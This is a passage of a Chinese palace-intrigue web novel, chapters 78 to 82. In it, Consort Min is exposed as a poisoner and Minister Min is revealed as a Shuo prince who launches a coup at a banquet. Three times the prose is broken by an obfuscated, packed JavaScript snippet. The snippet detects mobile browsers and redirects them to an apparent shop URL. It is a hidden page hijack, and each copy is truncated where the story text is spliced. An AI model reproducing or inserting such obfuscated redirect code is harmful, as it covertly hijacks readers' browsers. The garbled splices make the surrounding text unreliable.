她话虽是这样说,手却是不受控制地抖了起来。 从她听到容砚的讲述、看到他呈上的檀木手串珠子起,她的手就有些不听使唤了。 怎,怎么可能,她当年做得如此隐密,收拾得又是那样干净,怎会还是出了岔子,让容砚这个贱种寻到了线索? 更令她骇然的是,她竟从来不知,那毒药原是出是朔国王族。 不行,她绝对不能认下此事,反正当年之人早被她清理干净,即便容砚有那几颗珠子,也无法证明这手串就是她赠与的。 只要她咬死不认,他便拿她无可奈何。 容砚迎上她的目光,冷哼一声道: “是不是诬陷,贵妃娘娘心里最清楚!” 闵贵妃压下心头慌乱,强迫自己镇定下来,厉声高喝: “本宫清楚什么?你拿不出证据,休得在此血口喷人!” 她怕什么?反正死无对证,容砚除了这几颗檀木珠,根本拿不出任何证据。 容砚的目光却渐渐移至她身后,意有所指般开口道: “那手串上的确没刻贵妃娘娘的名字,但那些为你做事之人,总还记得当年之事吧?做下如此恶行,不是人人都能这般心安理得,总会有人良心不安,出来指证的。” “笑话,本宫行得端坐得直,根本无人能指证——” 话音未落,闵贵妃身侧的常姑却站了出来,扑通一声跪倒在地上: “老奴可以指证,当年下毒之人,正是闵贵妃!” 79. 第 79 章 贵妃无论如何也想不到,此时站出来指证她的,会是常姑姑。 她满眼的不可置信,饶是今晚出了这么多反常之事,也没有此刻常姑姑的反水带给她的震撼大。 要知道,常姑姑从闵家就一直跟着她,是她身为最为得力的忠仆,这么多年来,帮她处理过的脏事不计其数。 当年许莺之事,所有经手之人都被处理得干干净净,就连为其诊脉的太医她都没有放过,谁能想到,她最为信任的常姑姑,竟会在这关键的时候背叛她! “常姑姑,你知道你在说什么吗?” 闵贵妃惊得脸色卡白,颤声怒喝道: “到底是谁收买了你,让你不顾主仆情份,也不顾全家老小,要在这里构陷本宫?” 她将常姑姑定性为被人收买,并刻意点出全家老小,意图让其认清现实,赶紧闭嘴。 常姑姑知道的东西太多,绝不能让她说出口,当然,今天过后,她也留不得了。 不止是闵贵妃着了急,席座上的容玮与闵宏达也都开始慌了,尤其是先前还一片镇定的闵宏达,此刻也是面露讶色。 常姑姑出身闵家,是闵贵妃身边最为得信之人,没想到还有人能撬开她的嘴,看来今晚这一切,根本就是刻意安排,是针对他们闵家而设的一个局! 事已至此,只能先静观其变,若是常姑姑不顾念在他们手中的家人,那今晚之事势必会提前了。 此时跪在场中的常姑姑也是冷汗直流,只把头低了又低,根本不敢去看闵贵妃。 她也是实在没办法,着实是那冤魂太可怕了。 近日她每晚都会见到许美人的冤魂来找她索命,她夜夜惊惧不已,悄然请人作法也无济于事,说是只有帮其平了冤,才能彻底摆脱困境。 常姑姑害怕极了,她哪敢背叛闵家,但若非如此,她就快被这冤魂折磨死了,她不想死,只能对不住闵贵妃了。 她暗中安顿好家人,忐忑地等待着帮冤魂平冤的机会,直到今晚容砚那一句“良心不安、出来指证”,她终是站了出来。 “老奴万不敢撒谎,更无人收买,当年对许……对穆长公主下毒之人,真的是闵贵妃!” 原来,当年闵贵妃自怀孕过后,宁帝便甚少再到她宫中,哪怕她诞下二皇子容玮也依然如此,期间邓贤妃有孕也就罢了,那许莺区区一介歌女,怎敢也来与她争宠。 彼时宁帝或许连自己都没发现,他看向许莺的眼神里有着少见的占有欲,这眼神令闵贵妃恨到难以自抑,最终决定将许莺连同她肚子里的贱种一起除掉。 她装做和善的模样渐渐获得许莺的信任,还时常送去些小东西以示亲近,终于有一天,她道许莺孕后精神不佳,以安神助眠、驱邪避凶之名,送出了那串下过毒的手串。 起初她是想令其先行滑胎,再体弱而亡,没想到那腹中孩子命大,竟保了下来,而许莺,终是中毒太深、香消玉殒。 再后来,她让常姑姑去寻了一个脸生的小太监,将手串偷了回来,同时将那小太监灭口。 对了,还有那个为许莺按体虚诊治的太医,也一并被灭了口。 “一派胡言!” 闵贵妃又急又怒,颤手指向前方: “常姑姑,本宫待你不薄,你到底是收了多少好处,敢在此信口雌黄!” 常姑姑只不停磕头道: “老奴说的都是实情啊!” 薛太后听着常姑姑的讲述,眼中的恨意越来越浓: “闵贵妃,原来真是你下毒害的玥儿!” “刁奴陷害之辞,薛太后怎能轻信!” 闵贵妃打死也不会承认,当年是自己下的毒,而她身侧的宁帝,惊诧之余有多了几分疑惑。 闵贵妃下毒的确出乎他的意料,但常姑姑是闵贵妃身边的老人,她跳出来指证也着实太过反常。 他暗沉着眼眸,并未立即发言。 其实他已经从闵贵妃的神态当中,断定她便是当年下毒之人,但是否要将此事在两国会盟上挑明,他犹豫了。 事关宁国后宫,他不想薛太后插手,但此事又牵涉到了朔国,他无法坐视不理。 就在此时,薛太后身侧的安帝倒是先开了口: “你们二人各执一词,到底谁能拿出证据,证明自己所言非虚?” 他如同一个旁观者,在众人拿不定主意之时,提出了自己的建议。 只是他这话看似公允,实则并不对等,若当年真留有什么证据,哪还需要常姑姑反水来当人证? 果然,此言一出,跪在地上不停磕头的常姑姑愣住了,而闵贵妃终是又渐渐镇定下来。 只要拿不出证据,常姑姑便只是一面之辞,还是奈何不了她。 薛太后狠狠剜了安帝一眼,安帝却似不经意般,眼神朝下方席间一瞟,然后又悄然移开。 一时之间,场上陷入了沉默。 幸而这沉默并未持续多久,便被一道悦耳的声音打破了: “若实在无法证明,不如试试实话虫。” 陆铃儿的声音顿时将所有人的目光吸引过来,人们这才发现,她一直站在容砚身边未曾离开。 时此她掌中翻出一个小盒,朗声说道: “民女虽不懂后宫之事,但擅长研究彩戏道具,手中的‘实话虫’便是其一。” 她将盒中一只形似蛐蛐的小虫展示给主位四人,然后继续道: “此虫能感应到接触之人的心跳,人一但说谎,心跳暗中加快的几分便会被它察觉,从而鸣叫不止。若实在无法辨别谁人说的是真的,不如用它一试。” 陆铃儿的彩戏手艺无可挑剔,她身上的那些道具也是匪夷所思,她既提出她有这样神奇的虫子,没有任何一个人会怀疑此虫有假。 薛太后闻言,凤眼一亮,率先点头: “如此甚好!” 还是这丫头机灵,竟能想出这样的点子破局。 主位上另外三人则是神色各异,安帝宁帝最终点头默认,而闵贵妃则狠狠咬紧牙,眼眸之中满是恨意。 又是这个陆铃儿,每次坏事的都是她! 陆铃儿却并不惧怕她投来的目光,她朝身边的容砚轻轻眨了眨眼,容砚长眸之中亦是染上几分笑意。 这“实话虫”,陆铃儿已是第二次用了吧,也亏她想得到这一招。 只见陆铃儿托着掌中小盒,一步一步走上前来: “闵贵妃、常姑姑,谁说的话为真,此虫一试便知,请!” 闵贵妃望着木盒里如蛐蛐般的小虫,心中慌乱不已。 能辨人所言真伪的虫子,若是从别人口中说出,她定会认为是无稽之谈,但陆铃儿身上带的东西却真有这么邪门,虱子大小的虫子能让人动弹不得,说谎便鸣叫的虫子,也不是没有可能。 闵贵妃万分犹豫,就不是敢伸手触上那盒子。 万一这虫子真叫起来,就直接证明了她在说谎;但若她久不伸手,又会间接证明她心虚不敢一试。 她究竟该怎么办? 只可惜,她此时忘了将目光移向下方的座席,但凡她能看一眼容玮,也不会如此地无措。 陆铃儿的“实话虫”根本就是虚晃一招,以前她对付那曲管事造谣之时就已用过,容玮自然也都知晓,但闵贵妃却是不知,她直接慌了神,以至于容玮多次暗示她都未曾留意。 就在容玮准备出声提示之时,常姑姑却如开窍般抢先说道: “老奴愿意一试!” 闵贵妃脸色一白,伸手欲拦,常姑姑已起身冲到陆铃儿身前,一手触到了她掌中的盒子。 指尖刚一碰到那所谓的“实话虫”,常姑姑便觉触之生凉,根本不像活物。 想到每晚朝她索命的冤魂,她的心中一惊,心扑通扑通跳个不停,而那虫子却是安安静静,没有发出一点声音。 一阵寂静之后,常姑姑的声音骤然响起: “老奴没有说谎,老奴没有说谎!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202353|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她终于能摆脱冤魂索命的噩梦了! 闵贵妃手还停在半空中,看着自己信任了半辈子的常姑姑,她的心凉了个彻底,完了,这下全完了。 “闵贵妃,你还有何话说?” 薛太后凤眸含恨,她的女儿,竟被这样一个毒妇所害,今日她定要为女儿讨回公道! 闵贵妃这才如梦初醒,朝陆铃儿急急喊道: “不,本宫还没试,本宫没有……” “够了!” 宁帝沉着脸怒喝一声,打断了闵贵妃的话。 戏看到这里,他已基本能断定,今晚的一切,都不是偶然。 容砚这个逆子,他还是太过小看了! 眼下闵贵妃毒害穆玥一事已经摆在了两国面前,他必须要当面给出一个交代。 “闵淑华,你下毒暗害安国长公主穆玥,证据确凿,还不认罪!” 闵贵妃肉眼可见地慌乱起来,立即起身跪于主位案前,口中却还不停喊道: “臣妾冤枉!” “冤枉?事到如今,你无需再狡辩,该有的惩罚一个也不会少,现在你只需回答朕,手串上的透骨煞之毒,到底从何而来?” 今日事已至此,宁帝不会再保闵贵妃,势必要将一切缘由问个清楚。 闵贵妃的喊冤声骤然停住,她面上一片灰败,口中含混不清,最后只落下一句: “臣妾……不知。” 她实在是不知道,该如何解释这毒的出处。 当年她嫉恨许莺,正在头疼该如何将其除掉之时,恰逢父亲闵宏达进宫探望于她,得知她的困扰,闵宏达便暗中派人为她送来了毒药。 这么多年来,她只知这毒药能杀人于无形,却从来不知,此毒竟是出自朔国王族。 如今面对宁帝的质问,她根本无法开口说这毒是闵宏达给的,只要说了,闵家就全完了。 “闵淑华,私藏朔国王族之物,可是通敌之罪!” 宁帝话里含有明显的怒意,闵贵妃惊恐万分,嘴唇抖了半天,却发不出一点声音。 席座之上,容玮立即起身长揖: “圣上息怒,母妃绝无此心!” 此毒年代久远,他根本没听说过说,但他明白一定与闵家有关。 今晚的桩桩件件,像是都在针对母妃、针对闵家,如今母妃坐实了毒害安国长公主的罪名,绝对不能再多一项通敌之罪了。 闵宏达此时也终于坐不住了,他扶着桌案立起身来,朝主位上的宁帝躬身长揖道: “闵贵妃纵使善妒,但对圣上从无二心,倒是这手串出处不明,怕是有心人故意栽赃。” 闵贵妃因妒害人之事他无法再辩,但通敌一事还有回旋的余地,他有意将此事引导成容砚拿假串珠故意栽赃,闵贵妃通敌一事便是子虚乌有,当然也不会因那毒药牵连上整个闵家。 上次闵家一派便与容砚在寿宴中结了仇怨,今日容砚若因报复而陷害于闵家,他方才所述完全说得通。 再说了,今晚这么多事,怎么可能没有容砚的暗中操作,他闵家绝不吃这哑巴亏。 他耷拉着眼皮,沉下眸中的暗光,朝宁帝继续说道: “闵家一门忠烈,请圣上念在多年功劳与苦劳,还闵贵妃一个公道!” 闵宏达说闵家一门忠烈,这并非是他托大,当年宁帝的上位,也是经过一番腥风血雨的。 闵家作为宁帝坚定的支持者,为其鞍前马后出了不少力,家族亦有人为宁帝而牺牲,是以此后多年,闵家久居高位,盖因有当年拥立之功。 闵宏达这时提及此事,便是想让宁帝勿忘当年,闵家亦非他说动就能动的。 宁帝自然听懂了闵宏达的话外之音,他眼中悄然蓄起寒芒,闵家这么多年居功自傲,他还敲打不得了?看来上次的停职,他还是太过仁慈。 他暗下眼眸正欲开口,却听悦耳之声又起: “闵家勾结外族、残害忠良,果然是一门忠烈!” 80. 第 80 章 什么?闵家勾结外族、残害忠良? 众人循声齐齐朝这道悦耳之声望去,最终将视线汇聚于陆铃儿身上。 今晚这一切太过不可思议,饶是已经接连经历了前面几番震骇,他们仍是惊诧不已。 靖王身边的这位彩戏师,竟当众指认闵家罪行? 要知道,闵家可是宁国首屈一指的大家族,闵相更是两朝元老,对宁帝有拥立之功,要说他们骄横跋扈不假,但说他们勾结外族,这也太匪夷所思了。 席座之上,容玮也同众人一道,直直地望向陆铃儿,但他的眼神,又比其他人复杂了太多。 他爱陆铃儿,可她却毫不犹豫地选择了容砚,从未给过他真心;他想恨她,却偏偏不忍伤她分毫,甚至连看她受伤都做不到。 他只想今日之后将她藏到一处无人寻到的地方,不管她愿不愿意、爱不爱他,只要她专属于他一人就好。 可是,为何她要一再站到他的对立面,与他、与闵家为敌? 容玮只感到一阵心痛,如今他只能先护闵家,今日之事,绝不容出任何差错。 他正欲开口,闵宏达的声音已响起在场中: “血口喷人!” 闵宏达忍了这一晚上,此刻实在是无法再忍下去了。 陆铃儿,又是这个陆铃儿! 从他知晓她身份的那天起,他便知道这是个祸害,必须及时除之。 他安排人手于成州设伏,还请来赏金客邢戮多次击杀,可这些个废物,次次伏击次次失败,最后好不容易将陆铃儿打成重伤,没想到她如此命大,竟还康复了! 他那个不争气的外孙容玮也是,喜欢谁不好,偏要喜欢这样一个处处坏他们事的丫头,喜欢了当作玩物收着也便罢了,还想要动真感情,甚至为了那丫头与他翻脸,真是愚蠢至极! 好在容玮还知道在解忧阁放火,将那封密信烧成了灰烬,否则,后患无穷。 今晚走到这里,他们所谋之事已经生变,绝不能让陆铃儿再继续说下去了。 只是陆铃儿哪会被他一句怒喝所吓倒,她甚至连目光都未投向他半分,只面色不改地向主位的薛太后轻一致意,然后朝着宁帝坚定说道: “民女绝非污蔑,方才所言,皆有证据!” 陆铃儿言之凿凿,一声有证据,令场上不少人都心下一惊。 若她真有闵家勾结外族、残害忠良的证据,那这件事比前先的靖王认亲、闵贵妃下毒都更来得大,牵涉得也更广。 闵宏达心中也是重重一跳,陆铃儿说的证据,不会是那封密信吧? 不可能,密信已经毁于大火之中,更何况,想要解开密信也绝非易事,但不论如何,他都必须阻止她开口。 “我闵家对宁国之心天地可昭,哪里来的黄毛丫头,竟敢在此胡言乱语!” 闵宏达颤颤巍巍地伸手,指向立于主位案前的陆铃儿,似是被其方才所言惹恼了一般。 座席之中已有人开始议论起来,宁国闵相,在两国知名度不小,威望也颇高,瞧他言下之意,这位陆姑娘是在诬陷他? 也是,陆姑娘与靖王关系匪浅,而靖王又与闵相早有过结,他们两人联手来诬陷闵相,也不是没有可能。 按照这个思路,靖王先前拿出的那三颗带有透骨煞之毒的手串木珠,都有可能是假的。 但是,若他们说的都是真的呢?若闵相真的与朔国有勾结,那么闵贵妃手握朔国王族之毒也是说得通的。 此时还坐于主位之上的三人也是神色各异,尤其是宁帝,此事关系宁国安危,他必须迅速作出决断。 他目光扫向跪于地上的闵贵妃,又扫向下方的容玮与闵宏达,最后落在了陆铃儿身上。 这个陆铃儿,实在像一位故人,而他对那人,也是有几分亏欠的,若她真与那人有关,那么她的确有可能知道一些不为人知之事。 他也想听一听陆铃儿怎么说,看闵家到底留下了什么样的通敌罪证。 “陆铃儿,你且如实道来。” 主位另一侧的薛太后也点头道: “陆姑娘无需顾虑,若真能证明是闵家勾结朔国,别说你们宁国皇帝,就连哀家,也会替你撑腰的!” 说完她将目光狠狠瞪向跪地的闵贵妃,她倒要瞧瞧,这毒妇暗害她女儿的毒药,是否真的来自闵家。 陆铃儿朝主位深深一揖: “多谢圣上,多谢薛太后。” 此刻她不用回头,也能感受到闵宏达朝她投来的如刀锋般的目光,但她无所畏惧,只把视线转向了身侧的容砚。 自她得知身世之后,这半年来苦苦追寻,就是为了今日在圣前揭开真相,还陆家一个清白。 容砚迎上她的目光,给了她一个鼓励的眼神。 陆铃儿心中暖意顿起,不论何时,都有他在身旁。 她深吸一口气,朝着主位朗声说道: “民女原名陆锦,是先太子太傅陆致远之女。” 陆铃儿话音一落,夜宴之上一片哗然。 陆致远,不是那个背叛先太子,被其遗党灭门的罪臣吗? 宁帝心中也是狠狠一跳,陆铃儿,果然是那人的女儿! 面对耳边传来的声声“罪臣之女”,陆铃儿抬首望向宁帝: “我的父亲并非罪臣,圣上从未下诏判陆家有罪!” 宁帝明白,陆铃儿这是在请他表态。 他微敛长眸,轻叹一声道: “陆致远,不是罪臣。” 非但不是罪臣,还是他的幸臣与知己,只可惜…… 宁帝对陆致远的肯定,再次令在场之人惊讶不已。 没想到传了十年的罪臣竟是谣言,陆家居然从未获罪,那也就是说,陆家灭门另有隐情? 这一声“不是罪臣”,不仅令众人讶然,也令陆铃儿心生叹惋: “十年前,我亲眼看着家人被害而无能为力,如今,我终于追寻到这幕后之人,那便是闵相,闵宏达!” 那个血腥的夜太过黑暗,她失去了记忆,被师父带离了京城,如今她记起了一切,也迎来了为陆家平反的曙光。 “笑话,你可有在凶案现场看到老夫?” 闵宏达老眼含怒,却将所有人的注意力转到了陆家灭门的现场。 是啊,方才陆铃儿既然说她看到家人被害,那定然会看到凶手,难道,她看到了闵相? 可听闵相的口气,不太像啊。 陆铃儿却是不上闵宏达的套,不会如他所愿说出那声“没有看到”。 她转身朝他瞥了一眼,轻哼一声道: “我既说你是幕后之人,你当然是藏于暗处,怎会轻易现身。” “你!” 闵宏达怒极,颤手指向陆铃儿: “陆家之事当年连官府都没查到是何人所为,你一个黄毛丫头竟在这里信口雌黄!” 宁帝也是万没想到,害陆家灭门之人便是闵相,原以为陆铃儿是亲眼所见,结果并非如此。 他不禁开口问道: “既然凶手藏于暗处,你又如何得知其中真相?” “因为我寻到了一封信件,此信由陆家管家卜忠生前所写,详细记录了他因何背叛陆家,而那幕后指使他之人,是想让他在陆家找一封密信。” 陆铃儿转手翻出卜忠那封家信呈于掌中,宁帝随即命侍从取下,送至他的手中。 闵宏达眼看宁帝展信,老眼恨意四起,耷拉着眼皮又将目光转至桌案上的酒杯,他狠狠捏紧双手,却终是忍住了没动。 卜忠从未见过他的真容,完全不知道与之暗中接触的人是谁,这封信,根本不足以证明一切。 果然,宁帝阅完信后,声音再度响起: “这封信虽是道出了一些秘辛,却无法证明幕后之人是谁,陆铃儿,你是如何断定,暗害陆家的便是闵相?” 陆铃儿似是早知道他会如此发问一般,从容开口道: “此信提到,幕后之人要找一封密信,我们寻到了一些线索,只是此事也与先太子有关,民女先请靖王代为讲述。” 什么?此事还与先太子有关?他不是因为谋逆大罪自缢身亡的吗,难道,这件事也有隐情? 一提到先太子,宁帝的脸色也沉了下去。 其实他对先太子容珏,感情极为复杂。 平心而论,容珏这个长子,各方面都令他十分满意,他也曾对其寄予厚望,愿他能成为继任之君。 自从他窥得天机以后,这一切都变了,他再也无法与容珏父慈子孝,数次想废掉其太子之位,生怕那天机有应验的一天。 当年容珏谋逆一事,他自是不信,却也犹豫了,觉得这是个废太子的好时机,谁知,容珏竟在此时自缢而亡。 随后先皇后也跟着离去,他心中虽痛,但只要能破了那天机,他便无悔。 不光是对容珏,对于陆致远,宁帝也是心中也是充满了矛盾。 陆致远曾是他的伴读,也是他少有的知己,作为他的支持者,当年站在他身边、为他上位立下汗马功劳的,除了闵家,还有陆致远。 他紧随容珏的亡故而灭门,世人都说,这是容珏的遗党所为,他并不相信,但却同样默认了,只因这时间点,实在太过巧妙。 不论他们是否有冤,为了破除天机,也只能如此了。 没想到,事隔十年,这件事又被翻了出来,而这一切的始作俑者,竟是闵宏达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所有种种,果然都与朔国有关! 宁帝再次命身边侍从取来密信,没想到就在侍从接过密信,正转身往回走时,跪在地上的闵贵妃突然起了身。 她与那侍从距离很近,趁所有人都未曾注意她之时,猛地冲到侍从身前,一把夺过他手中密信,根本来不及看那信是何模样,便将其用力一揉,吞入了口中。 她这套动作相当之快,若先前能有这个速度去摸“实话虫”,绝对不至于被常姑姑抢了先。 原来,自陆铃儿说密信在她那里,闵贵妃便收到了闵宏达的眼神暗示,让她寻机截下密信。 她虽不知这是一封什么样的密信,但她知道她与闵家一毁俱毁,更何况,她还有容玮与容璃这两个孩子。 她若以善妒定罪,伤的只是她一个人,但若以勾结外族、残害忠良而定罪,那整个闵家一派,就全完了。 是以她在侍从走过身边之时,抢过密信便吞,待人们反应过来,那信纸已进了她的腹中。 她无论如何,也要保下闵家,保下她两个孩子,绝不能让不利于闵家的证据现世。 没人想到闵贵妃会来这一手,主位之上,宁帝与薛太后皆是震惊不已,只有安帝低着头,不知道在想些什么。 闵宏达也是没想到闵贵妃会以这种方式毁掉密信,一面暗骂她的愚蠢,一面又庆幸这密信终于是拦下了。 他老脸一皱,做出一模痛心疾首的模样: “贵妃何苦如此,别人不信老夫,连你也不信吗?这下老夫真是跳进黄河也洗不清了!” 闵贵妃吞下了密信,自此再也无法得知信上究竟写了什么,就算陆铃儿将其当场背诵,也无法证明这就是这信上内容。 哪怕陆铃儿已经解开了密信,只要他不承认,便拿他没有办法。 但与此同时,闵贵妃的行为也是此地无银三百两,她这样吞下了一封朔国之信,也便证明着,闵家与朔国确有关联。 闵宏达心中不知骂了多少遍蠢货,那密信解密之法隐僻,说不定陆铃儿并未真正解开,闵贵妃如此行径,岂不正中对方下怀? 如今他只能先将自己撇清再说了。 只是没想到,陆铃儿却如恍然大悟一般,“哎呀”一声拍了拍脑袋: “瞧我,方才一紧张,居然拿错了!” 她巧手一转,又翻出一卷信纸: “闵相无需懊恼,方才那个只是卷白纸,这个,才是密信!” 81. 第 81 章 陆铃儿轻巧一句,却令所有人的心,再度提了起来。 前一瞬还惊讶于闵贵妃生吞密信毁灭证据,下一瞬,陆铃儿居然说,密信拿错了? 那也就是说,那封令先太子及陆致远一家丧命的密信,并没有被毁掉,而是好端端地在陆铃儿手里? 今晚这场夜宴还真是惊心动魄! 比起众人的虚惊一场,闵家这边的人就没那么好受了,方才不顾一切冲上去吞掉“密信”的闵贵妃,此时脸卡白得几乎失了颜色,席座上的容玮,也是脸色难看到了极点。 他的视线,已从陆铃儿悄然移至斜后方的闵宏达身上,今晚的变数远超想象,他们的计划,必须提前了。 如容玮所想,闵宏达也正有此意,他的脸色几经变幻,终是伸手握住了案上的酒杯。 万没想到,陆铃儿还留了一手,拿出封假密信来试探他们! 眼下不但密信未毁,闵贵妃的行为又侧面印证了闵家与朔国有关,他的处境实在是被动,是时候要提前行动了。 他握紧手中酒杯,看着陆铃儿一步一步走近宁帝。 方才闵贵妃已抢过一次密信,这一次,她被侍从牢牢押住,根本无法动弹,除开主位另一方稍有些距离的薛太后与安帝,陆铃儿身边只有容砚一人,已经没人能及时拦下她了。 闵宏达将酒杯越捏越紧,他还在赌最后一件事,陆铃儿与容砚究竟是否解开了密信。 他原本计划酒过三巡、全场防备最弱的时候行动,此时还太早,若陆铃儿只是虚张声势、并未解开密信,那他还能再等上一等,但若是她已经将密信解开,那他势必要马上动手。 主位之上,陆铃儿在宁帝的示意下,不再经手他人,而是亲自将手中密信呈至其案前。 当那卷起的密信被宁帝打开、展阅,众人的心也被提到了嗓子眼,只恨无法站在宁帝身边,看一看这密信之中到底写了什么。 宁帝迅速将信纸一扫,这信看起来虽有些年头,上面所写内容却无甚特别之处,就是一封普通家书。 然而如此重要的一封密信,当然不会这样简单,信纸之上,有着细细的折痕,折痕交叉处对应的字,已被人圈了起来,那圈的墨迹较新,应是才添上不久。 宁帝目光转向陆铃儿,却见她悄悄眨了几下眼,那眼神,宁帝已经很久没有见到过了,当年的陆致远,也会用这样眼神告诉他,知道就好,先别声张。 他的头微不可见地一点,然后再次低头,将那圈起的字连起来通读一遍,一瞬之间,他的双眼蓦然瞪大,只觉全身汗毛倒竖,遍体生寒。 饶是他再如何猜测,也万万想不到,密信之中竟会藏着这样的惊天阴谋。 他用余光暗中扫向席座之上,果然发现了闵宏达的异常,此人向来老谋深算,很少有如此焦躁的时候。 宁帝再将目光绕回来,扫过容砚,扫过陆铃儿,最后又回到了密信之上。 这封密信,内容实在是骇人听闻,他纵使再不愿相信,方才那一眼他也已看清,这信上所言非虚。 若真是这样,今晚怕是还有大事发生。 宁帝心中将所有之事快速过了一遍脑子,待他似阅完信抬头,眼中全然不见方才的惊骇,而是现出几许疑惑: “这不过是封普通家书,陆铃儿,你确定这次没有拿错密信?” 什么意思?是陆铃儿又拿错了密信,还是这密信本就是封家书? 众人面面相觑,只有闵宏达长吁了一口气,握杯的手渐渐放松,心道陆铃儿二人终究没能解开密信。 如此一来,密信便只是一封家书,又有何可惧,他现在要担心的,反倒是闵淑华那个蠢货捅下的篓子。 主位之上,陆铃儿与容砚瞬间交换眼神,宁帝已看懂暗示,他们的心也安下几分。 今日这夜宴凶险万分,危机一触即发,他们必须极力争取时间。 “圣上,民女并非再次拿错,密信真正的信息,正是隐藏于家书之中,因其解法难寻,我们还未将其解开。” 陆铃儿顺着宁帝的问话,故意放出了假消息,与此同时,容砚也对立于主位后的侍卫悄悄打了一个手势,他们的人,可以准备了。 就连宁帝,也在所有人都没有注意到的地方,对身侧的龙卫使了个眼色。 只是陆铃儿的这番发言,引得场上一片哗然,闵宏达也冷哼一声道: “方才言之凿凿,说老夫是害你全家的幕后之人,现在看来,都是无稽之谈!” 想凭一封没解开的密信扳倒他,也太天真了点! 陆铃儿闻言却是笑了起来: “闵相怕是搞错了,我方才说的,只是密信未解,不是你非真凶。我们既然呈上这封密信,便能证明,你就是这幕后之人!” “不错,密信不一定要硬解,有时候换一种思路,便会有新的发现。” 容砚接上陆铃儿的话行至宁帝案前,向他呈上了三张字帖: “我们便是从笔迹之上,发现了新线索。” 此前陆铃儿通过笔迹确认密信出自闵宏达之手,他便朝着这个方向深挖了几分,没想到,最后的答案竟与密信的内容殊途同归。 今日,他们正是以此为契机,争取更多的时间。 此时摆在宁帝面前的这三张字帖,第一、二张看起来年代久远,仅第三张要新一些。 宁帝细细看去,那两张旧的,字迹各不相同,而那新的,看起来与第二张很是相似,宁帝认得,这正是闵宏达的字。 闵宏达位列文官之首,他的字乃是一绝,字帖也并不少见,这前后两张,许是时隔多年,笔锋已有了些变化,以至于第三张看起来形虽像第二张,但隐隐带有第一张字帖的风骨,而这第一张…… 宁帝猛地一惊,拿起密信一对比,两者的笔迹,竟然一模一样! 再一翻落款,与密信也完全对得上,同样的名字——胡都古。 见宁帝若有所思,容砚又把这三张字帖出示给了主位另一侧的薛太后与安帝,薛太后见字并未有太大变化,倒是那安帝,看到第一张字帖竟是脸色大变,像是见着了什么难以置信之事。 他想伸手去抓,容砚却已将其带走,再次放到了宁帝面前。 宁帝拿起第一张字帖,厉声问道: “这一张,到底是何人的笔迹?” “此字出自朔国平南王耶律良翰之手,胡都古,便是其小名。” 容砚声音不大,却在场中掀起了惊涛骇浪。 朔国平南王耶律良翰,此人当年也算是文韬武略,却于三十多年前突然失踪,就此杳无音讯。 难道,那封密信是他写的?他不是失踪,而是来了宁国? 众人皆是震惊不已,闵宏达与容玮二人亦是诧异万分,实在难以相信,在未解开密信的前提下,能查到这一步。 闵宏达手中酒杯再次捏紧,方才看到容砚二人成竹在胸、以及安帝见字惊惶的模样,他便感到事情又超出他的预料了。 他暗中与容玮交换眼色,两人皆已明白,此时已是箭在弦上、蓄势待发了。 宁帝眸光逐一扫过众人,得到龙卫肯定的眼神后,他眉心一锁,一掌拍于案前: “耶律良翰?此人失踪多年,原来竟是潜入了宁国!” 他将目光停于容砚同陆铃儿身上: “若密信出自他之手,为何你们又说,此事与闵相有关?” 席上众人也是心怀疑惑,说了这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们这是,要逼宫? 在闵宏达身侧,宁国信国公亦站起身来,今晚控制现场的这些兵将,正是听从的他的指令。 闵宏达老眼一眯,环顾四周一番,又再次看向主位,那上面坐着的,是安宁两国的掌权之人,不过,很快便不再是了。 方才这些人主要针对的是宁国这边,从主位到席座,围了个密不透风,但安国这一方尚有缺口,此时一搏还有望突出重围。 薛太后见状正欲下令,却听闵宏达朝着安帝大喝一声: “还不动手!” 安帝自看到那字帖后,手执酒杯已迟疑了许久,此时听得闵宏达一喝,也奋力将酒杯狠狠一摔。 安国龙卫应声拔出长剑,利刃对准了薛太后,另有一批安国兵将冲了进来,与方才的宁国兵将形成了合围之势,夜宴现场被两国叛军围了个严严实实。 闵宏达冷笑一声,与容玮、信国公一道,朝着主位走了上去。 为了今晚,他已筹谋得太久太久,如今,终于得偿所愿了。 “容朗、薛岚,你们的位子也坐得太久了,是时候该换人了。” 他一步一步登上主位,所有人都看着他没有出声,安帝却朝他抬手行了个异族礼: “王叔!” 场上所有人终是明白过来,不光闵宏达是朔国人假扮的,就连安国皇帝,也都是假的! 知晓了这样一个天大的阴谋,他们在场的这些人,怕是没命再回去了。 安宁两国危矣,中原,危矣! 82. 第 82 章 闵宏达,抑或现在可以称他耶律良翰,就这样在众目睽睽之下,与容玮、信国公一起走上了主位。 主位之上,容砚与陆铃儿二人,分别护住宁帝薛太后,在三国叛军的包围下被逼到了一角。 身后待从四处躲藏,先前抢吞“密信”的闵贵妃,此时已无人再扣押她,但她却丝毫不见欣喜,反倒是满脸写满无措,血色全无再次跪倒在地。 今晚的一切太过离奇,许莺的身世、常姑姑的背叛,还有那出自朔国王族的透骨煞之毒。 但即便所有的事情加起来,都远远不及闵相是由耶律良翰假扮的来得震撼。 她叫了这么多年的父亲,竟然是假的? 耶律良翰失踪了三十多年,她今年三十八岁,她的父亲,究竟是谁?她到底是汉人,还是朔人? 